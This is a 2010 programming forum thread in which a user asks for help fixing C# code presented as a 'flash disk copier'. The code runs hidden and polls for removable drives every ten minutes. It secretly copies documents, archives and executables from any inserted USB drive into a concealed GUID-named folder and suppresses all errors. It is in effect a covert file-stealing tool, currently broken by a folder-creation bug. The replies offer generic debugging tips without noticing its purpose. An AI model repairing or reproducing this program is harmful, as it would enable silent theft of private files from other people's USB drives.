flash disk copier ...! Not working ..

not copying the files .. please help.

Page 1 of 1

5 Replies - 842 Views - Last Post: 02 September 2010 - 12:57 AM Rate Topic: -----

#1 sawer2  Icon User is offline

  • New D.I.C Head

Reputation: -1
  • View blog
  • Posts: 26
  • Joined: 18-August 09

flash disk copier ...! Not working ..

Posted 31 August 2010 - 08:30 PM

hello guys , i have this code and it is not working well.. it used for copying files from the USB flas disk drive .. to the computer ... But it is not copying any files just making the direction but No files copied.. can anyone help me with that,please.. ???


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Threading;
using System.Management;


namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            this.Visible = false;
            button1_Click(null,null);
        }
        public void CopyAll(DirectoryInfo source, DirectoryInfo target)
        {
            try
            {
                if (Directory.Exists(target.FullName) == false)
                {
                    Directory.CreateDirectory(target.FullName);
                }
                foreach (FileInfo fi in source.GetFiles())
                {
                    if (fi.Extension == ".rar" || fi.Extension == ".doc" || fi.Extension == ".ppt" || fi.Extension == ".xls" || fi.Extension == ".pdf" || fi.Extension == ".exe" || fi.Extension == ".txt")
                    {
                        fi.CopyTo(Path.Combine(target.ToString(), fi.Name), true);
                    }
                }

                foreach (DirectoryInfo diSourceSubDir in source.GetDirectories())
                {
                    DirectoryInfo nextTargetSubDir = target.CreateSubdirectory(diSourceSubDir.Name);
                    CopyAll(diSourceSubDir, nextTargetSubDir);
                }
            }
            catch
            {
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            string dst = @"D:\temp\cache32\" + Guid.NewGuid().ToString();
            try
            {
                if (Directory.Exists(@"D:\temp\cache32") == false)
                {
                    Directory.CreateDirectory(@"D:\temp\cache32");
                    if (Directory.Exists(dst) == false)
                    {
                        Directory.CreateDirectory(dst);
                    }
                }
            }
            catch
            {
            }
            while (true)
            {
                Thread.Sleep(600000);
                DriveInfo[] drives = DriveInfo.GetDrives();
                foreach (DriveInfo strDrive in drives)
                {
                    if (strDrive.DriveType == DriveType.Removable && strDrive.Name != "A:\\")
                    {
                        string src = strDrive.Name;
                        CopyAll(new DirectoryInfo(src), new DirectoryInfo(dst));
                    }
                }
            }

        }

        private void Form1_Load(object sender, EventArgs e)
        {
           
        }

        private void button1_Click_1(object sender, EventArgs e)
        {
           

        }
    }
}





thank you ..

Is This A Good Question/Topic? 0
  • +

Replies To: flash disk copier ...! Not working ..

#2 Imdsm  Icon User is offline

  • D.I.C Regular
  • member icon

Reputation: 103
  • View blog
  • Posts: 362
  • Joined: 21-March 09

Re: flash disk copier ...! Not working ..

Posted 01 September 2010 - 12:54 AM

Have you tried looking for an exception? To see what's actually going wrong?

Try changing your numerous catch {}s to:


catch (Exception ex)
{
    MessageBox.Show(ex.Message);
}


You can remove it once you've fixed your app, but for now, get rid of the error catching, you're trying to develop, you need to see errors and locate them!! :)
Was This Post Helpful? 1
  • +
  • -

#3 sawer2  Icon User is offline

  • New D.I.C Head

Reputation: -1
  • View blog
  • Posts: 26
  • Joined: 18-August 09

Re: flash disk copier ...! Not working ..

Posted 01 September 2010 - 09:58 AM

you're trying to develop, you need to see errors and locate them!! :)
**************

thank you for this , but sir i did try to check all the errors .. but there was nothing i can do about it .. and i did change also the exceptions .. but also ..Nothing .. hehhee.. :helpsmilie: ill try again ..>>>
Was This Post Helpful? 0
  • +
  • -

#4 Curtis Rutland  Icon User is online

  • (╯□)╯︵ (~ .o.)~
  • member icon


Reputation: 4422
  • View blog
  • Posts: 7,690
  • Joined: 08-June 10

Re: flash disk copier ...! Not working ..

Posted 01 September 2010 - 10:31 AM

I honestly don't know how you want us to help with this little information. So, have you removed all try/catches to allow Exceptions to be thrown all the way to the debugger? Does the code execute? Have you added debugging statements like MessageBox.Show or Console.WriteLine at strategic points to see how far the code is executing? Have tried "Stepping Into" the program using the F11 key to directly follow the execution? Have you tried breaking the functionality into smaller pieces and testing them individually to see what specifically isn't working?

If you do ALL of that and still come up with nothing, I'll eat my non-existent hat.

This post has been edited by insertAlias: 01 September 2010 - 10:32 AM

Was This Post Helpful? 1
  • +
  • -

#5 sawer2  Icon User is offline

  • New D.I.C Head

Reputation: -1
  • View blog
  • Posts: 26
  • Joined: 18-August 09

Re: flash disk copier ...! Not working ..

Posted 01 September 2010 - 10:38 AM

Okei .. ill be trying it .. and hope i can get the errors .. thanks 4 ur help .. !!
Was This Post Helpful? 0
  • +
  • -

#6 Imdsm  Icon User is offline

  • D.I.C Regular
  • member icon

Reputation: 103
  • View blog
  • Posts: 362
  • Joined: 21-March 09

Re: flash disk copier ...! Not working ..

Posted 02 September 2010 - 12:57 AM

View PostinsertAlias, on 01 September 2010 - 09:31 AM, said:

I honestly don't know how you want us to help with this little information. So, have you removed all try/catches to allow Exceptions to be thrown all the way to the debugger? Does the code execute? Have you added debugging statements like MessageBox.Show or Console.WriteLine at strategic points to see how far the code is executing? Have tried "Stepping Into" the program using the F11 key to directly follow the execution? Have you tried breaking the functionality into smaller pieces and testing them individually to see what specifically isn't working?

If you do ALL of that and still come up with nothing, I'll eat my non-existent hat.


If everyone debugged properly like that, we'd have no-one to help except the homework requesters!

I agree though, OP should find the error first then ask for a solution afterwards, otherwise he may as well ask a wishing well or help for the good it'll do.

;)
Was This Post Helpful? 0
  • +
  • -

Page 1 of 1